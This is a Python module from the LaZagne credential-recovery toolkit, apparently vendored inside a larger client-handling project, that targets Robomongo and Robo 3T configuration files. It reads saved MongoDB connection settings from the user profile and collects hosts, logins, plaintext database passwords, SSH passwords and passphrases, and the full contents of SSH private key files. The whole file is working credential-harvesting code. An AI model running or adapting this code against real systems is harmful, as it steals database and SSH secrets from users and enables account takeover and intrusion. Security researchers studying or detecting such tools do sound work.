1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
# -*- coding: utf-8 -*-
import json
import os
from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
class Robomongo(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'robomongo', 'databases')
self.paths = [
{
'directory': u'.config/robomongo',
'filename': u'robomongo.json',
},
{
'directory': u'.3T/robo-3t/1.1.1',
'filename': u'robo3t.json',
}
]
def read_file_content(self, file_path):
"""
Read the content of a file
:param file_path: Path of the file to read.
:return: File content as string.
"""
content = ""
if os.path.isfile(file_path):
with open(file_path, 'r') as file_handle:
content = file_handle.read()
return content
def parse_json(self, connection_file_path):
repos_creds = []
if not os.path.exists(connection_file_path):
return repos_creds
with open(connection_file_path) as connection_file:
try:
connections_infos = json.load(connection_file)
except Exception:
return repos_creds
for connection in connections_infos.get("connections", []):
try:
creds = {
"Name": connection["connectionName"],
"Host": connection["serverHost"],
"Port": connection["serverPort"]
}
crd = connection["credentials"][0]
if crd.get("enabled"):
creds.update({
"AuthMode": "CREDENTIALS",
"DatabaseName": crd["databaseName"],
"AuthMechanism": crd["mechanism"],
"Login": crd["userName"],
"Password": crd["userPassword"]
})
else:
creds.update({
"Host": connection["ssh"]["host"],
"Port": connection["ssh"]["port"],
"Login": connection["ssh"]["userName"]
})
if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password":
creds.update({
"AuthMode": "SSH_CREDENTIALS",
"Password": connection["ssh"]["userPassword"]
})
else:
creds.update({
"AuthMode": "SSH_PRIVATE_KEY",
"Passphrase": connection["ssh"]["passphrase"],
"PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]),
"PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"])
})
repos_creds.append(creds)
except Exception as e:
self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e))
return repos_creds
def run(self):
"""
Extract all connection's credentials.
:return: List of dict in which one dict contains all information for a connection.
"""
pwd_found = []
for directory in self.paths:
connection_file_path = os.path.join(constant.profile['USERPROFILE'],
directory['directory'],
directory['filename'])
pwd_found.extend(self.parse_json(connection_file_path))
return pwd_found
|